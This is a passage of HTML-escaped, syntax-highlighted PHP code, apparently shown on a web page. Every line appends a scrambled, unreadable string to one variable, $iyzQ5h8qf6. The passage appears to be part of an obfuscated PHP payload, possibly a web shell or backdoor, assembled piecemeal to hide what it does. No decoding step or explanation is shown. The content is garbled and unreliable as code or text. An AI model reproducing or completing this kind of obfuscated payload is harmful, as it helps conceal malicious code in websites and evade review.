&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;gt;o &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; eifrd&amp;#39;o&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o ( n/es n eny.-/n 0=e e&amp;amp; - x(0&amp;#39;rp&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;1 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;dP BrSath=-&amp;#39;i&amp;#39; a p_ol &amp;gt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> cri)&amp;gt;/w&amp;lt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">i🔛 g &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;d. 1&amp;gt;bc x&amp;#39;l0= &amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0x[[m s g]iO {yEleo&amp;#39;ddls m&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">luro E}o_&lt;/span>&lt;span class="se">\$\&amp;#34;&lt;/span>&lt;span class="s2">&amp;lt; &amp;lt; h.l &amp;lt;&amp;#39;n/&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> _f ct t c-2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ot 2dsx&amp;#39;0w;gcm0&amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o:% r,rS W Lu= &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">aieu&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&amp;lt;opya r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">fG&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;v&amp;lt;t ? o&amp;#39;e.a.et&amp;lt; G Ft;0 h Co-.&amp;lt;oi 0&amp;#39;eAs0&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ruo2 eed 1 o T 0&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">Fe&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">.trTbu&amp;#39;bal)d r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> Eabh p /o &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">rd/ E(ie &amp;#39; :eSm&amp;gt;2stoi0; 0&amp;#39;4 otd):xxe&amp;#39;s u&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">=[ &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; w &amp;#39;=o&amp;lt;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">a&amp;#39;omp]rdo)&amp;#39; o}cTlre h &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;w&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hv(&amp;gt;t Tfltf) xS/&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/csnf0 i0;0: uee ee T% pw &amp;#39; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">_.]&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">f/_&amp;#39;]Uil)&amp;gt;Da ] r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">o[u&amp;gt;a p &amp;lt;.n&amp;lt;ra&lt;/span>&lt;span class="se">\$\\&lt;/span>&lt;span class="s2">a [ie-i; &amp;#39;i b&amp;lt;jrt ( }f0 0 &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;p&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ?&amp;#39;cc&amp;amp;&amp;#39;1 [o&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">d dR ..ffS&amp;gt;.pto;&amp;lt;id{[} &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">m&amp;#39;e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e/eldnb &amp;#39;l sl&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> t-osqirp )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( })&amp;#39; []&amp;amp; -uu ;s&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;r_ii iO&lt;/span>&lt;span class="se">\$\&amp;#34;\$&lt;/span>&lt;span class="s2">&amp;#39;oE&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\\\&amp;#34;&lt;/span>&lt;span class="s2">l&amp;#39;a&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">bre&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39; uimc);&amp;gt; fidvrtfui&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">l deTte .;-ocupar&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> - &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39;&amp;#39;tt0&lt;/span>&lt;span class="se">\n\&amp;#34;&lt;/span>&lt;span class="s2">selGrf rtd&amp;#39;d rRn&amp;#39;o&amp;gt;d red nepfam &lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2">&amp;lt;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;f&amp;gt;a(d=er;e o_rrn h &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt;tretpim{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> ?&amp;#39; w=0w;eex ,.xdE&amp;#39; _i iamV&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">/a&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">D &amp;gt;c_ all nd{? tr &amp;lt;l&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;gt;&amp;#39;).&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; weaea ef &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sir .no &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;m{ ; r 0&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">2 =e[T](&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">=Armru&amp;gt;E;&amp;gt;d;i &amp;lt;tf mso(d&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; he(aud&lt;/span>&lt;span class="se">\\\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> nxnam ai &amp;lt;tpysmtd&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> o &amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> i(0 ]]0 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">sc&amp;#39;[;if _ e.t&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">R&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r boi eeai ] &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &amp;gt;ai ein../ ; lisme &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;dl lrt.riPet d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> r &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0: = 0 opuw&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">si&amp;#39;D.t&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o;[e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;gt;ee rl &amp;#39; dse, &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> Pcsh)r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> osf&amp;#39;= ee ia mcne y et &amp;#39; gem4 == wrtrd}_l.a h f&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;c;&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">cc sye ]{isx &amp;lt;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; eh_r .;&lt;/span>&lt;span class="se">\$\&amp;#34;&lt;/span>&lt;span class="s2">. &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ate)&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> rs npsi=.r&amp;amp;p y r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o)&amp;#39; &amp;#39; ) nieii&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">fe/Y&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o/oePh&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nht t.( .&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nee&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> t r de.&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">_&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> dsr;&amp;#39; (i k/rn&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">jm e &amp;amp;p : o]d - x( en&amp;#39;tr&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">i &amp;#39;}&amp;lt;d&amp;gt;ccHoe&amp;lt;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;o y&lt;/span>&lt;span class="se">\&amp;#34;\$&lt;/span>&lt;span class="s2"> &amp;#39; gtcc a&amp;lt;m(if / S&amp;gt;v ? &amp;#39;(&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">. &amp;#39;z 3c.hss0=e e u e?&amp;#39; &amp;#39;&lt;/span>&lt;span class="se">\$\$&lt;/span>&lt;span class="s2"> rt]e&amp;#39;fl=;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/=&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">uhP cb ril._ (um bti&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r=&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39; E&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">a &amp;gt; ]&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">) b Pe r.=jt&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">(x&amp;#39;l0=e&amp;#39; p= ; )gw&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">[f)&amp;#39;]ie &lt;/span>&lt;span class="se">\n\$&lt;/span>&lt;span class="s2">h&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;;so_&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hr&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">yfe&amp;lt;F u f&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">td lrsd(&amp;#39;/. R.l &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> )f; a r(}e3&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">st&amp;gt;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">1csx&amp;#39;l- [ &amp;amp;&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ros&amp;#39;(;];l(&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">}d2G&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; S&amp;lt;o&amp;gt;&amp;lt; =/I p i_ir e&amp;gt;sir&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> V u}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> )i&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> s a&lt;/span>&lt;span class="se">\$\n&lt;/span>&lt;span class="s2">l.h&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">p&amp;lt;f0&amp;#39;e8l&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;s&amp;#39; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">( r i?or=r&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2">,&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">d&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i&amp;gt;Ee&lt;/span>&lt;span class="se">\\\&amp;#34;&lt;/span>&lt;span class="s2">Ei &amp;lt;/=(&amp;#39;bL l lGoe &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ire.&amp;gt;v E&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2"> l ehgf}=6t&amp;gt;:/i0; 0&amp;#39;e;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0&amp;#39; f ulse% i di&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">Tcn&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">Ln&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">id fc&amp;gt;E o eEns c osa &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">a Rv) &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> {e&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; nemi&lt;/span>&lt;span class="se">\n\&amp;#34;&lt;/span>&lt;span class="s2">/t&amp;lt;/sl0 i0; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">oem0 (&amp;#39;pdpa1 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">f=irds;&amp;#39;h&amp;lt;nFp&amp;lt;ni&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">io&amp;lt;S a T:u l n l&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">.l [a) &amp;lt; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">) aaal&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">scp//ce }f0 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> wao0: s[[rds w r;i &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;i&amp;lt;&amp;#39;uipvdll/[ d &amp;#39;[ l a sap_ u &amp;#39;l[ / ) md:e?tsssmr))&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( }t ndd1 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">i&amp;#39;% o(&amp;#39;)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r=e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> nb]tnu&amp;gt;ieob&amp;#39; e .&amp;#39;&amp;lt;t s &amp;lt;saS&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e}Pu&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;n d ee )&amp;gt;ys:cai )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">y e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e0&amp;#39; m een]1 ri&amp;#39;) c;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">pr. pt&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">r_rrfed &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">c/) s / tEv)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Hea i { (rp)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">l//rxp{{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> p r] )- o:xxt,s ls; =sh&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;lt;u&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">tu&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; ;.e:&amp;gt;ic umb; = t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">hRa) P m v &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">(u;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">eb/ict&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> m{ e [ &amp;amp; &amp;#39; d eef % ds&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">{ coeit&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">&amp;#39;ytt&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;xr&amp;lt;lhs pd&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> hk(Vl[ _.e &amp;gt; f&amp;#39;b&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;lt;soapd&amp;gt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> o = &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">=&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; ?;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&amp;#39;cc(&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">1 [ei&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ra cn n p y&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/ie/eou l&amp;#39;&amp;lt; et &amp;gt;e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">Eun S ] &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> iCl hhojtn&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> t d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &amp;#39; e 0 &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">w Suu&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">os&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;tf en&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hpt&amp;lt;metpi&amp;#39;sdbT c o]b ca&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ydRea E&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> e&amp;lt; hlai teta&amp;gt;.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> y et u x(0&amp;#39; o&amp;amp;&amp;#39;tt%w&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">se( ad&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">ouyde=yef.t&amp;#39;ro&amp;#39;c a)r hbt i[ m L&amp;lt;.c/ eecc mesx&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">b&amp;lt; p y &amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0x r ;ee1n,.x&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">( lin tpit&amp;#39;p&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;= bs&amp;gt;&amp;gt;U&amp;lt;e d)&amp;gt; olh =r&amp;#39;.e F/&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hh &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> a)h&amp;#39; ltt.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">od e &amp;amp;p ;ocm2&amp;#39; l0&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">se =e_&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> pr&amp;lt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> evhhe&amp;#39;(a(E&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">pbseD &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> e&amp;gt; &amp;gt;.P ] &amp;#39;a&amp;lt;ot f hd.e) &amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">r&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;g&amp;lt;oi =e e &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">wuo0 dx ]]&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">scPd a(b&amp;lt;t= oi=sis&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r;lrsci{; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> N &amp;#39;H&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ]&amp;gt;/ m i ee&amp;#39;-; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ao!tv &amp;#39;l0=e ntd): [8 = ,[gpuOi t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">riy&amp;#39;cdd&amp;#39;useur&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">o&amp;gt;fhr&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">ta &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">/P&amp;lt;.e &amp;lt;t&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;l l ar&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">C&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &amp;lt;hpo-s psx&amp;#39;l eee &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">0 == &amp;#39;rrtSr hd&amp;gt;npsl=dfbsnpo a&amp;lt;uoe vam v&amp;#39;_/ l./d&amp;lt;&amp;gt; e d(&amp;#39;o !r.g-tc&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;e6-s r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ?&amp;#39; e0 &amp;#39; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">woieT (i&amp;lt;peua&amp;#39;eime&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
